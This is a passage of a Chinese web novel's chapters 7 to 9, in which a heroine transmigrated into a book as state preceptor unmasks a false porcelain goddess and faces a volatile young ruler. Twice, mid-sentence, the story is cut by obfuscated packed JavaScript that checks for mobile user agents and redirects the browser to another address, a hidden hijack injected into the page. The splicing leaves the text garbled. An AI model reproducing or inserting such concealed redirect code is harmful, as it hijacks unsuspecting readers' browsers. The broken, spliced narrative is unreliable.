怪不得她方才说,第一次相遇时,只有他的眼睛能看到她的真实面目。 因为那原本就是她的眼睛。 他把脸埋在手里,生生将两颗眼睛挖了出来。 “求你,还给她,”他流下两行血泪,“告诉她我现在又变成瞎子了,她舍不得我,一定会忍不住来找我的……” 女子纹丝未动。通透如她,却第一次陷入了疑惑:“何必如此……她牺牲了自己,来让心爱的你活得更好,你知她的良苦用心,才更要好好活着才是。” “你若是有心爱的人,便会明白,自己哪怕是死,也不会容忍让爱人牺牲,来换自己苟活。” “因人而异吧。”女子喃喃道,“会有人比你更懂得取舍。” 回忆结束,叶熙熙醒过来的时候,顾垣正在窗边静望远处。 枢明也悠悠转醒,看来方才进入回忆的,不止她一人。 “有话直说吧,”叶熙熙道,“你想干什么?” 顾垣转过头,微微勾唇:“看了我的这段经历,您难道不觉得熟悉吗,国师大人?” 7. 眸中痣 “他认识女主?” 叶熙熙暗中打开通讯程序,询问系统。 “他没有见过女主,之所以能够认出你,是因为那位瓷仙娘娘将你的真实身份告知他们了。” “……他们?” “是的,现在整个村子的村民都聚集在外面,等着把你们一网打尽。” 叶熙熙关闭通讯,对顾垣道:“你倒是说说,你跟我有什么仇什么怨?” 从方才的记忆中看,她与顾垣、鱼妖都毫无瓜葛,就算要寻仇,也应该去找男主的那位仇人姑娘。 “因为您有罪。” 顾垣转过身,压抑着汹涌的恨意,控诉她:“在您的神像前,我不止一次,两次,十次,百次地向您许愿,恳求您救我。” “怎么救?”叶熙熙皱眉,“你和那鱼妖你情我愿,共同修成彼此的因果,我拿什么来拯救你?” “您当然可以救我。”顾垣定定地望着自己的手,这只手曾经握惯了画笔,但是他早已经不再为任何人作画,“只要您能让我回到从前,回到一切的开始,我会改变这个结局。” 那不可能。 哪怕是神仙,也难以回溯时间,改变已经发生的事。 有些遗憾已成定局,人们唯一能做的就是释怀。 哪怕眼中还流着刺目的鲜血,脑中还是挥之不去的故人,但是依然要接受,时间能抚平一切。 伤口会留下疤,但你依旧活在这世上。 “您从来没有垂怜于我,”他笑了,“您用您那双悲悯的眼睛,告诉我什么是冷漠。” “所以被抛弃了的我,去信仰其他神明了。” “有病。”叶熙熙抿唇,“瓷仙娘娘,这就是你现在所信仰的神吧,怎么,她能带你回到过去?” 他怕不是得了失心疯,什么妖魔鬼怪都敢信。 神仙都没办法做到的事,这个瓷仙娘娘能做到? 你信她,还是信我是少觋? 顾垣勾唇:“您做不到的事,就不许别的神做到了?” “这是我最初的眼睛,”他指着自己,“瓷仙娘娘带我回到了过去,我不仅找到了阿余,还阻止她赠予我双眼,如今她已挺过雷劫,飞升成仙了。” “您也看到了,这里的村民,都是来向瓷仙娘娘许愿的。娘娘仁慈,赐福于信众,只要在额头点上两颗红痣,便能回溯往昔,弥补人生之憾。只这一点,她与您便是云泥之别!” “娘娘知我眼盲,特意将两颗痣点在我眼中,让我复明。”他闭上眼睛,再次睁开时,黑眸已染了血,像是红痣长在了眼珠上, “瓷仙娘娘,才是真正悲悯子民的神!” 好好好。 叶熙熙不敢看这恐怖的一幕,对枢明道:“没时间跟他废话了,我们去找瓷仙。” 枢明不多问,一眨眼,两人闪身来到瓷仙庙前。 在顾垣提及“回到从前”之时,她忽然想起来了,原书作者在前文给瓷仙娘娘做过很多铺垫,这个伪神是专门跟女主打擂台抢信众的,她最擅长的就是伪造幻境,骗无知民众可以回到过去,改变命运。 不过这位瓷仙娘娘究竟何许人也,作者都快写到结局了也没有交代。 费尽心机埋下的伏笔,结果拉了个大的。 先不说按照剧情逻辑,擒贼先擒王,叶熙熙本就应该绕过信众,直接去找瓷仙娘娘算账。 只说出于私心,作为一个可怜的读者,她也无比渴望去揭开这个瓷仙的真面目。 这个大坑一定要由她填上! 踏过黏腻的青苔,他们二人一前一后跨进门槛,扑面一股阴湿的香火味。 瓷仙娘娘坐在供桌上,盖着红布,身前的烛火随风摇曳,将神像低矮的影子拉长,忽明忽暗。 一片死寂。 “装神弄鬼!”叶熙熙大吼一声。 她不是在给自己壮胆,绝对不是。 “小心。”枢明提醒她。几个黑影从门口窜进来,擦着他们的肩膀飞到空中。 “临兵斗者皆阵列在前!”叶熙熙念动口诀,那些黑影在空中无声迸裂,哗啦啦摔在地上,碎成一地惨白的瓷屑。 “他们在那儿!” 是村民,他们找过来了。 枢明道:“他们虽然受瓷仙蛊惑,却从未做过坏事,仙术不能伤害无辜之人。” 言外之意,如果村民攻击他们,他们也只能防御,不能危及他们的性命。 叶熙熙看着村民一拥而上,将他们二人围了个水泄不通,着急地问:“不用仙术,劈晕不可以吗?打一两下吓唬吓唬也行啊。” “对不住,除了仙术,其他我不擅长。”枢明无奈。 真让人火大。 对峙间,瓷仙那边有了动静。 那红布下伸出一只手,捞了烛台过去。 火苗爬上红布的一角,费力吞食,喘着灰色的烟。 黑烬自残缺的红布落下,诡丽之至。神像收回手去,同先前一样躲在红布下,任那火与烟与烬匍匐在自己脚边,恳求她降临,赐世人怜悯的一瞥。 叶熙熙心弦紧绷。 他们必须赶在红布燃尽之前,对付完这些村民。 “大家别害怕,”一个村民喊道,“他们是神仙,不敢动我们这些良民。大家一起上,把他们赶出去!” “赶出去!” 一呼百应,做足了无赖架势。 一个村民趁叶熙熙没有留意,冲上去将她推倒。 后脑着地的时候,叶熙熙差点疼出了泪。 昔日高高在上的神明,如今还不是落在尘埃里,任人欺侮。 就在村民们洋洋得意之时,躺在地上的女子忽然爆发出尖叫。 “啊啊啊啊!” 叶熙熙披头散发,从地上爬起来直奔供桌,把瓷仙娘娘一把举了起来,朝村民冲过去:“杀千刀的敢动你爹,弄不死你们!” 村民:“……” 枢明:“……” 身体腾空的瓷仙娘娘:“……” “哈哈哈哈哈!”叶熙熙一边大笑,一边把神像掼在村民脸上,“来吧,都给我死,同归于尽!哈哈哈哈哈!爽!” 村民吓得尖叫逃窜。 那个谪仙一般,不染纤尘的国师大人,疯了! 望着村民们越来越远的背影,枢明小心翼翼地上前一步:“姑娘,您还好吗?” 叶熙熙发出最后一声笑,静静站了一会儿,把神像扔到地上,拍拍手上不存在的灰:“还行吧。” 她抬头望望空荡荡的庙宇,平静地呐喊:“看个屁,给你爹滚出来!” 供桌上忽然出现一个熟悉的身影。 红衣少女正襟危坐,朝她露出一个浅笑。 是小悲。 叶熙熙愣了两秒,才成功把女二跟瓷仙娘娘联系在一起:“居然是你?” “小悲”启唇,声音如无情的死水:“老师,我一直谨遵您的教诲。” “您想做卫述的神,但是强大如您,难免分身乏术。” “我是来帮您的,您所珍视的,是我所怜悯的。” “您所抛弃的,我也会捧在手心。” “您站在宫殿的祭坛上,而我蛰伏于民间的野庙,不会侵染您一丝一毫。” 枢明走过来:“她是个分身,不知道少觋已经消失了,所以把你认成了她。” “小悲”说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168802|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完之后,垂下眸子,在他们眼前化为一尊瓷像。 叶熙熙回过头,先前被她随意丢在地上的神像,已经消失了。 【男主支线任务完成度60%】 【男主攻略进度增加20,当前攻略进度为58】 …… “难怪我记得书里一直说女二是个妖神,原来她就是瓷仙娘娘?” 叶熙熙回到虚拟空间,找到系统。 “女二有回溯时间的能力,强度超模,宿主最好小心。” 系统正在浏览评论区,她凑过去看了一眼。 “……这男主也太废了吧,一遇到事就‘我不好插手’‘我不擅长’,要他这个男主有何用?” 这个热心网友真是说到叶熙熙心坎里了。 她继续问:“原书不是说瓷仙回溯时间是骗人的吗?” “原书是原书,现在是现在。”系统打了个马虎眼。 叶熙熙暗骂一声死骗子:“你的意思是,女二真的能带人回到过去,改变已经发生的事?” 怎么听起来这么像读档啊? 她一惊:“难道女二也有系统?” “她没有。”系统说完,让她接着往下看评论区。 “……这都第七章了,男主跟女主的感情线怎么还不明朗啊?” “什么仇人姑娘,其实是男主cp吧。” “作者是不是写着写着爬墙男二了?” “换男主!换男主!” 把男二改成男主的呼声很高,叶熙熙问系统:“什么情况,真的要换吗?” 系统答:“等宿主完成支线任务,解锁男主的隐藏剧情之后,这本书的男主就会改成岁梧。” “半路改男主不会被骂吗?”她内心其实并不在乎这本书和这个作者的死活,但是她怕读者不满意,这样她就完不成任务,回不到现实了。 “没关系,简介的1v1已经改成买股文了。” 这也能行? “说起支线任务,”叶熙熙继续道,“我想问问,我的主线任务有没有具体的目标啊,比如打败反派Boss之类的,要不然我不知道怎么走剧情。” “宿主现在的任务就是立好人设,被剧情推着走就行。”系统说道,“等完成男主、女二和男二的支线任务,宿主自然就清楚主线任务的目标了。” “……你之前明明说支线任务是选做,不完成也不会影响主线。”叶熙熙眯起眼睛,“三天不打你又骗人是吧。” 系统自知理亏,关闭虚拟空间逃之夭夭了。 回到书里,叶熙熙接到系统通知,两日后是吉礼,卫述将举国兴办祭天大典,她作为国师必须出面主持仪式。 看来系统真的很怕她,走得这么急,连通知都忘了当面给。 离开瓷仙庙之后,叶熙熙与枢明分道扬镳。 枢明答应她,找到那位仇人姑娘的线索后会第一时间跟她分享。 一想到支线任务已经过半,日子越来越有盼头,叶熙熙甚慰。 回到国师府,只见门口停着一队车马,婢女来来往往,手里拿着大大小小的匣子。 叶熙熙狐疑地往里走,只见岁梧正吩咐宫人,将各类鲜花玉器摆在府中,放眼望去,整个国师府都焕然一新。 仿佛是感应到她的存在,他回过头,藏不住心头的雀跃:“你回来了,熙熙。” 叶熙熙以为他是在将功赎罪,所以在她回来之前把国师府好生装饰一番。 花攒绮簇,煦色韶光明媚,将她来回奔波赶任务的疲惫一扫而空。 但是岁梧的一句话让她蹙起眉头,这次她发誓她真的没有听错。 他叫她,“熙熙”? 8. 芍药吻 似乎是因为上一次发醋疯惹她不快了,岁梧现在变得格外殷勤。 “维士与女,伊其相谑,赠之以勺药。”他捧起一盆鲜妍,送到叶熙熙面前,“孤从前答应你,要在府中养上许多芍药,孤没有食言。” “你还是喜欢芍药的,对吗,”他偷偷拉住她的手指,唤她的名字,“觋觋?” 叶熙熙感觉自己穿到书里之后,不仅听力出现问题,脑子也有问题了。 为什么她会一再认为,一个与她素不相识的纸片人,会从别人的壳子里认出她的灵魂,甚至还能叫出她的本名? 看着岁梧期待的眼神,叶熙熙也不好给他泼冷水,点点头:“喜欢。” 其实她并不喜欢花。 和岁梧约好一起养芍药的,应该是原女主。 岁梧笑的时候,露出恰到好处的颊廊,很甜,跟曾经咬她嘴的疯狗简直判若两人:“那我们一起做鲜花饼好不好?” 这下轮到叶熙熙惊讶了:“你会做鲜花饼?” 话一出口,她察觉到自己失言,怕岁梧察觉到她不是原女主,赶紧补上一句:“……我是说,自然是好的。” 虽然她不喜欢看花,但她喜欢吃鲜花饼,甚至在穿书之前她还刚从网上订了一箱,现在还放在门厅没开封呢。 让那箱鲜花饼活到现在,是她的失职,更是系统的扭曲,道德的沦丧! 她心动的时候,那拒人千里之外的冰冷眼神也会漾出暖意,这在岁梧眼里十分可爱:“材料都准备好了,我们一起去东房,孤来做给你吃。” 君主为国师下厨,这让那些大臣听到岂不是要闹翻天了。 但是叶熙熙顾不上那么多了,在她的认知中,鲜花饼根本不是这个时代能做出来的东西,但是岁梧看上去好像很有信心的样子,她必须跟上去瞧瞧。 ……如果真的能吃到美味的鲜花饼,那她将举双手赞成岁梧当男主! 东房就是厨房,灶台上已经摆好了新鲜的芍药花瓣、面粉、猪油、饴糖和蜂蜜。 这个时代没有精制面粉,粗面粉看起来颜色比较深,但也已经是岁梧可以找到的口感最好的面粉了。 他卷起袖口,露出白皙而线条明显的手臂,将花瓣和饴糖一层一层铺在盆中,铺好后放在一边,开始在面粉中加水和面。 叶熙熙看他动作娴熟,心有好奇,却也不敢多问。 毕竟,他看上去不像是新手,而普天之下能让他亲自下厨的,恐怕只有原女主少觋一个人。 看岁梧做饭这种事情,两个人应当已经见怪不怪了。 现在她顶了原女主的号,言多必失,不该问的便不要问了。岁梧既然愿意给她做,那她便照单全收,只管闷着头吃就是了。 岁梧一气呵成,包好油酥之后,算着时间差不多了,便将盆中腌渍好的芍药花糖揉出水,加入蜂蜜,而后舀进瓦罐里密封好。 “等到七天之后,芍药花酱就做好了。” 叶熙熙不明所以:“你的意思是,鲜花饼还得等到七天之后才能做?” 岁梧神神秘秘地从灶台下拿出另一个罐子:“所以,孤提前做好了一罐,可以现在用。” 先让她失望再给她希望,一番操作下来,叶熙熙被他吊足了胃口,忍不住到他身边,看看那发酵好的芍药花酱长什么样子。 瓦罐一开封,弥漫出一室花瓣甜香,岁梧舀了一勺花酱,递到她唇边:“尝尝好不好吃?” 她猝不及防,被甜滋滋的味道勾得食指大动,但还是尽力维持表面的矜持,低下头尝了一小口。 熟悉的美味在唇齿中流连,这便是人生的终极幸福吧。 叶熙熙一边在心中呐喊,一边平静地颔首:“甚是可口。” 得到她的肯定,岁梧唇角高高扬起,学她的样子低下头,就着她尝过的地方,咬了一小口:“……甚是可口。” 明晃晃的勾引。 但叶熙熙如果这么容易就被他勾得脸红,那她这么多年真的白混了。 她坦然地迎着他的视线,一根手指挑开他规整的前襟,隔着里衣,在他胸口上深深浅浅地作乱。 “它跟我比,哪个更可口?” 接着就被岁梧压在灶台上凶狠地吻。意料之中,她不仅没有反抗,甚至伸出双臂勾住他的颈,挑衅似的,大胆把自己敞开,尽情享受掌控猎物的欢愉。 但是岁梧才不会计较她是故意诱惑还是动了真情,他只管侵略。 猎物主动不着寸缕地躺在猎人面前,还搞错了自己的地位,她太天真。 形势变得逐渐不可控,她偏过头,中断了这个吻,同时用手挡住了他的下一步动作。 “……你想渎神?” 他低下头,扎进她肩窝里,喘得让人情难自禁:“是,我罪大恶极,等我亵渎完,你杀了我便是。” 一条命只为换一刻风流,真是疯子。 叶熙熙有些脸红心跳,把他扒拉到一边:“起来,给我做鲜花饼。” …… 从炉中取出刚烤好的饼,再搭上一壶蜜醴,叶熙熙浅尝了一口酒,很甜,几乎没有度数,别说喝醉了,连给她助眠都算不上。 又趁热咬了一口饼,饼皮不如她从前吃过的酥软,但口感也已臻完美,馅料更是没得挑。 ……毕竟他们方才已经充分品尝过了。 “明日是吉礼,不能贪杯。”岁梧轻轻夺走她的酒杯,然后喝掉了剩下的酒液。 “……”叶熙熙眼睁睁地看他咽下去,然后慢慢眨了一下眼睛,随即软倒在案几上。 若非她亲口尝过,她简直要怀疑酒里被人下药了。 度数这么低的酒,一杯倒,当她是傻子吗? “喂,醒醒,”她拍拍岁梧的脸,“别跟我装,我知道你清醒得很。” 他没有回应,浅浅地阖着双眼,甚至无意识地蹭了蹭她的手。 叶熙熙一边看他表演,一边咬着鲜花饼。然而不知道是不是岁梧太有耐心,直到她吃完了饼,喝干了酒,他都没有醒来的迹象。 叶熙熙叫来宫人,让他们找一间空厢房,把岁梧扔进去。 “国师大人,君上醉了酒,不能独处,万一叫刺客钻了空子,后果不堪设想。” 叶熙熙:“……那你们陪他睡。” “万万不可,君上有吩咐,入睡时不许旁人近身,”那宫人一脸诚恳,“劳烦国师大人了。” 入睡时不许旁人近身,他是曹操吗? 叶熙熙无奈:“那你们把他抬我床上去吧。” “是。” 是夜,方才饮下的蜜酒让她萌生困意,也顾不得岁梧还在床上,把人往里一推,在他身边躺好睡下了。 她不知道,在她初初入眠之时,枕边人忽然睁开眼睛,为了不惊扰她,只是轻轻摩挲她的脸颊。 “熙熙,快些走完他们的剧情,回到我身边,治好我。” …… 卫述新君践祚第七日,行吉礼。 礼有五经,莫重于祭,事邦国之天神、地衹、人鬼。 叶熙熙作为国师,需要站在祭坛上,接受自国君至三公九卿的祝祷,并把他们的祝祷传达给天地之间的神明,与已故的祖先。 简而言之,她需要站在祭坛上当一个吉祥物,等人们排着队跟她说话。 岁梧率先来到她面前,行跪拜之礼:“愿国师如月之恒,如日之升。无念尔祸,尔福无量。” 吉礼之上,君主应当先拜神,再敬祖。 而岁梧一上来便祝福国师,此前从未有过先例。 不过岁梧能成为国君,全凭国师在背后指点,现在他们二人在子民眼里早已是狼狈为奸。 所以岁梧的做法虽在情理之外,却也在意料之中。 臣民们等着年轻的君主继续往下说。 结果岁梧说完,直接起身,结束了自己的祝祷。 叶熙熙看着臣民们惊愕的神情,再看着他们后知后觉对她怒目而视,她脸都僵了。 不是,岁梧不会以为这样做是在讨她欢心吧?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168803|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 众目睽睽,规矩不可废,他就这么明目张胆地在臣民头上蹦迪,还顺带着捎上她,有没有考虑过她的死活啊? 发生了这样的小插曲,祭祀的气氛变得古怪起来,不过仪式还要继续下去。 岁梧祝祷完毕,之后该轮到三公九卿,这个过程中倒是没再出意外。 只是,有一位卿士引起了她的注意。 按顺序来判断,他应当是九卿中的司空,掌管京畿的建筑水利相关事务。 “司空孟昶,愿天神与先祖庇佑卫述,臣等必将尽心竭力,辅佐国君,安定天下。” 叶熙熙盯着他。 之前在系统里查询民愿的时候,这个叫孟昶的人,许的愿望可不是这般冠冕堂皇。 “……愿司马贺纬早日下狱,我好抢走他的夫人。” 原来那位曹贼就是你啊。 司马排在司空前面,贺纬方才已经向她祝祷过了,叶熙熙记得那是个满脸横肉的中年男人,看上去可不好对付。 自己的夫人正在被同事觊觎,也不知道这位贺纬是否知情。 不过这些臣子们之间的恩怨情仇,她可不愿意掺和,一笑置之罢了。 吉礼完毕后,叶熙熙找到岁梧,刚要跟他算账,只见他面色阴沉,像是要杀人。 看到她来,他勉强笑了一下:“老师。” 叶熙熙隐约察觉到他不大对劲,但又说不上来:“方才你为何不拜神祇与先祖,你知不知道给我找了多大麻烦?” “老师……”岁梧拧眉,看起来更加冷厉骇人,“孤不记得自己方才说了什么,方才站在祭坛上的人,不是孤。” 其实叶熙熙早就发现了,从昨日岁梧给她做鲜花饼开始,她就觉得他和那天强吻自己的岁梧不太一样。 只不过昨日她一门心思就是吃,没把这件事放在心上。 又或者说,她在潜意识里并没有把这位书中的纸片人当成完整的人来看待,只要他的行为没有干扰到她完成任务,她便愿意遵从剧情和人设跟他玩暧昧,并忽略他身上的bug。 不过现在他自己发现了异样,叶熙熙不能再视而不见。看他同之前判若两人的状态,她早已有了猜测,暗中打开系统通讯:“岁梧他是不是双重人格?” 虽然原著从未提及岁梧有类似的心理问题,但是这种脱离原著的现象,她在男主和女二身上已经见过了,就比如男主在原著中从未要求找过仇人姑娘,而原著中女二虐待她的事也没有如期而至。 所以当岁梧显现出双重人格,她虽然意外,但是能够很快接受。 她的存在,已经为书中角色带来了特殊影响。 “宿主好眼力。”系统对答如流,“如果想让男二恢复正常,需要完成其支线任务并解锁隐藏剧情。” 又在给她挖坑。 叶熙熙关闭通讯,斟酌了一下,决定宽慰他:“你最近太累了,多休息一下。” “老师,昨天一天我好像都记不清了,您能告诉孤昨天都发生了什么吗?” 叶熙熙道:“昨天并未发生什么要紧事。” 听完她的搪塞,岁梧的眼神愈发阴鸷:“可是孤听宫人说,孤昨天一整天都待在国师府,和老师在一起。” 叶熙熙敏锐地察觉到他好像很不快,而且有暴走的趋势,连忙给自己打圆场:“我以为,你同我在一处,是常事,不必特别禀明。” “老师您不明白,”他痛苦的闭上眼睛,“昨日和您在一起的人,不是孤,有一个妖怪,他占据了孤的身体来欺骗您……” “岁梧,”她声音温柔低沉,“不许说些怪力乱神的事,只要有我在,不论是何妖魔鬼怪,都不敢近你的身。” 不料他非但不领情,反而恨恨地盯着她:“老师,你也很喜欢那个妖怪吧,不然怎么肯留他夜宿国师府,甚至和他睡在一张床 上?” 叶熙熙:……确实还挺喜欢的。 “混账,口出狂言。”她冷声训斥他,“这些浑话都是谁告诉你的?” 9. 井中露 她一生气,岁梧反倒气势弱了些:“老师,您回来后,孤还不曾向您认错。” “那日孤实在是气昏了头,才对老师做了冒犯之事。” 叶熙熙反应过来,他在说那天掐她脖子强吻的事。 “践祚那日,老师让孤等您回来,孤有好好在等,”见她冷着脸不说话,岁梧以为她还在生气,难免急切,“可是夜里宫人来报,说亲眼看见您同别人一起进了卧房,那一刻孤的天都塌了……” 叶熙熙根本不吃他委委屈屈的那一套:“所以你便不分青红皂白,对我下毒手?” “老师,孤错了,孤回来之后想了很久,老师虽同他一起进了卧房,却未逗留多久,而且出来的时候衣冠齐整,是孤想多了——” “岁梧,我不是你的所有物,一开始向你寻求庇护,也是为了能继续留在卫述,照顾卫述的子民。”她模仿印象中原女主的口吻,“不错,我对你的感情确实不清白,但我终究是卫述的国师,不是你王宫里的夫人,还请你把握好分寸。” 岁梧显然有没抓住重点:“老师,您知道的,我王宫里一个女人都没有,就连宫人都是男子。” 叶熙熙叹了一口气:“罢了。我且问你,吉礼是新君即位后的第一个祭天典仪,与朝会同论,为何各诸侯不曾出席?” 这一信息是系统方才提示她的。 按现代人的说法,卫述是一个分封制国家,天子住在王畿,将其他的土地分封给各位王室成员,任命他们为诸侯。 诸侯平日里都在自己的封地内活动,只有一年一度的朝会需要前来王畿觐见共主。 但是方才在吉礼上,没有一个诸侯王出面。 “老师,在天下人眼中,我的君位名不正言不顺。虽然我与老师都知道,父兄他们强迫您取心头血,畜生不如,杀了他们天经地义,但是诸侯们不这么想。” 他有悖人伦,便是乱了秩序。上梁不正,诸侯们很难信服于他。 “但是老师不必担心,”岁梧又道,“卫述行分封之制已有数百年,卫述国君初次分封土地给自己的兄弟,立他们为诸侯王,那时王畿与封地的关系尚且紧密。” “然而诸侯国的王位世袭,一代代传到现在,诸侯与国君的关系已然淡薄,其封地上的百姓只知其王而不知国君。” “诸侯想要脱离王畿,自立为君,也非一日两日了。”岁梧道,“但孤不能让卫述亡在孤手里。” 他会让诸侯臣服于他,履行拱卫王畿之职,哪怕不择手段。 叶熙熙想起来,原著中女主之所以走到牺牲自己救世的那一步,正是因为岁梧向各诸侯国宣战,并跟女二小悲做了交易,换取邪神之力攻打诸国,战火之下,民不聊生,哀鸿遍野。 女主牺牲自己,爆发出强大的神力,最终灭了黑化的岁梧和邪神小悲,天下太平。 叶熙熙当然不可能任由剧情这样发展下去,一旦岁梧灭世,她就又要重开。 但是现在她没有任何能力去阻止岁梧,只能尽量拖延时间。 至少先让她把支线任务都做完,找到这次穿书的明确目标。 “你想做什么便去做吧,但是需谨记,我是辅佐你的国师,无论你要做什么,都必须事先告知我。”叶熙熙道。 “你也发现了,我已不是曾经那个姑息养奸的愚善之神,所以你不要怕我会否定你的想法,相反,我会尽力帮助你,因为你是我的君。” 她以退为进,说出来的话三份真七分假,却十分中听,岁梧脸色好了许多。 叶熙熙正琢磨接下来该说些什么,眼尾余光扫到一片雪白的衣角,抬头一看,发现枢明正站在她和岁梧面前。 不过岁梧好像并没有发觉他的到来,他漫不经心地捉住她的手,开始捏她的指腹:“老师,依您看,倘若孤竭尽王畿的兵力,讨伐各诸侯国,胜算有几成?” “微乎其微。”叶熙熙一边任他捏手,一边对枢明使眼色,“向各诸侯国宣战,便是把自己推到了天下人的对立面,敌人之敌便是友,各诸侯国一定会联合起来对抗你。” 枢明传音于她,自己是隐身的状态,他刚找到了第三条线索,此番是来叫她同去的。 他倒是学聪明了些,知道自己出现在岁梧面前,会给叶熙熙带来麻烦。 叶熙熙一听到支线任务有新进展,眼睛都亮了,心里盘算着如何尽快脱身。 “老师,”岁梧忽然道,“您能不能给我一个将功赎罪的机会?” 她心里装着事,一时间不知道他意欲何为,顺着他问:“你要做甚?” 岁梧将她一把拽进怀里,趁她不备,捏住她的下巴深深吻了上去。 叶熙熙愣了一下,才反应过来枢明还在旁边看着呢,虽然她脸皮一向很厚,但当着熟人的面被人强吻实在太掉面子了。 所以她赶紧用手挡住身上人的嘴,愠怒道:“你又发什么疯?” “老师,你不是不在乎这些吗?”岁梧冷笑一声,“难道是因为当着你老相好的面,感到难堪了?” 不理会怀中人的惊讶,更是看都不看那个脏眼睛的情敌,岁梧从里衣中抽出一个吊坠,让她好好看清楚:“老师,这是小时候您给我的,可以勘破诸法的神器。您早就不记得了,对吗?” “您素来对他人慷慨,却鲜少施舍我什么,所以只要是您的东西,我都恨不得嵌进身体里。” “我一直将它带在身上,二十年如一日。听上去是不是很可笑,老师?” 饶是叶熙熙已经见证了无数次,此时也不得不再感叹一句,疯狗。 原女主到底是有多好,让他偏执成这个样子? 山雨欲来之际,叶熙熙难得冷静:“我只心悦你,岁梧,我之所以三番两次与他同行,是在帮他寻找从前的怨侣。” 枢明:“……?” 她的一番话完全出乎岁梧的意料:“……老师,您说什么?” “我不管你曾经对我有什么误解,但我从始至终都只喜欢你一个,”她的情话信手拈来,“至于他……我答应了要帮他找人,现在人已经快找到了,他们一对璧人即将再续前缘,我不想功亏一篑。” 枢明如果再不明白她的意图,便白活上千年了。 他随即附和:“确实如此,还请岁梧君上莫要误会她。” “你们当孤是傻子吗?”岁梧强忍着暴虐,笑容阴恻恻,“放你们走,让你们双宿双飞?” 他又听不懂人话了。 叶熙熙递给枢明一个眼神,两人的身影一前一后消失在岁梧面前。 “老师,”最后一刻,她听到他咬牙切齿的声音,“孤已经给过您很多机会了,可您却一次次让孤失望。” “您既然决定跟他走,那便永远别回来,否则孤一定会让您尝尝,这摧心剖肝的滋味!” 叶熙熙眼前一黑,脑子里很快浮现出原著里岁梧虐待女主的十八式,原来无论如何都会走到这一步吗? “不是我说,”落地后,她颇为不解地问枢明,“你既然看到我跟岁梧在一起,为什么还要过来?就不能等我独处的时候再来吗?” 上一次让枢明同她一起大摇大摆进入国师府,是她考虑不周,所以惹得岁梧发疯,她自认倒霉。 但是这次—— 枢明:“……对不住,我不知道你给过岁梧法器。” 如果不是她给岁梧法器在先,他的隐身术也不会被识破。 兜兜转转,过错又落回她头上去了。 叶熙熙觉得自己素质有待降低,譬如此时,她真想不顾一切破口大骂,骂原女主为什么要给岁梧这个破法器。 但是这一切都没有意义。 她现在就在原女主的身体里,原女主已经消失了,骂一个已经死去的人无异于浪费时间。 “不是我给的,”她只能草草解释一句,“是少觋那个王八羔子给的。” 枢明没有接话。 他们现在站在一片荒地上,面前是一口废弃的枯井。 “我先下去,烦请姑娘跟过来。” 话音未落,他的身影消失在井中。 叶熙熙扒着井栏往下望,不见枢明的人,心道这下面莫不是个结界。 井里黑黢黢的,不知深浅,她不是磨叽的人,虽然有点害怕会不会摔疼自己,但还是踩着井栏跳下去了。 …… “你是何人?” 叶熙熙双脚一着地,便听到一声严厉的诘问,吓得她险些没有站稳。 “我是一个灵,”只听另一个温柔声音道,“我感受到你的愿望,所以出现在这里了。” 熟悉的开场。 叶熙熙转过头,毫不意外看到女子那张恬淡的脸,她在跟井底的一个鬼魂说话,只不过这一人一鬼都没有感受到叶熙熙的存在。 那鬼魂是位雍容贵 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女子也不戳破她:“是舍不得太后,还是舍不得家国?” “都死了才好。”贵妇冷笑一声。 过了半晌,她喃喃道:“昏君当道,旧国早已日薄西山,我是知道的。昏君扶不起,太后便亲自纳谏、变法;西戎进犯,有王后率兵杀敌。” “然而,卫述何故将旧国之覆灭归咎为‘惟妇言是用’?” “昏君是宠幸了几个妖女不假,然而昏君他自己便没错吗?” 女子道:“史,多为胜者宣扬,后人不知前事,是后人之哀。但你是已死之人,何必挂怀,随他们去吧。” “胜者?”贵妇嗤笑,“我都快辨不清,这胜者是卫述国,还是他们男人了。” “一想到那昏君,我就来气,”她又道,“立嫡长是为正统,可若这嫡长子乃粪土之墙,为何不能另行选贤举能?” 女子言:“我虽无意为他们辩驳,然你们的先祖立嫡长以定分止争,防乱于未萌,这是他们为了维护秩序而想出来的最好的办法。序定则邦兴,无序只会招致灾殃。” “还说不是为他们辩驳,”贵妇看向女子,“你先前问我的归处,我想好了,我要等到史官为太后与王后正名的那天。这便是我的归处,你可否带我去?” 女子摇头:“我力量所剩无几,恐怕无能为力。” 接着,她向贵妇讲了沙场的那场雪,山下那条溪流,还有许多叶熙熙不曾听闻的雨雾冰霜。 “如今我只剩几滴水,聊且成君一枕美梦罢了。” 听完她的话。贵妇叹气,“吾其行矣,行之为善。你的力量既已微薄,以后省着点用,不必见谁渡谁,你又不是神明。” “让我再最后赠你一场梦吧,”女子笑道。 见她坚持,贵妇便也不再推辞:“梦?我思念王后,却愧对于她。其他人与我而言都已是过眼云烟,真不知道该梦见谁好呢。” 女子静静地看她,贵妇陷入悠长的回忆,而后眼尾的纹路皱起,眸中闪过一抹柔光:“我曾在王宫中遇到一个巫女,她尚且年幼,被迫来到王宫里。彼时她想偷溜出去,却不料撞见了我。” “我见她可怜,便叫宫人带她出宫。也不知道她现在如何了。” 话落,她发现已不见女子的身影。 啪嗒一声,一滴水从井口落下来,滴在她肩头。 “……奴僭犯太后,求太后赦罪!” 久违的阳光,烘得她身子骨都活络了些。 立身于熟悉而陌生的王宫内,她眯起眼睛,看着瑟瑟发抖的小巫女,双手捧起她稚嫩的脸。 “你叫什么?” “……奴名笑笑。” 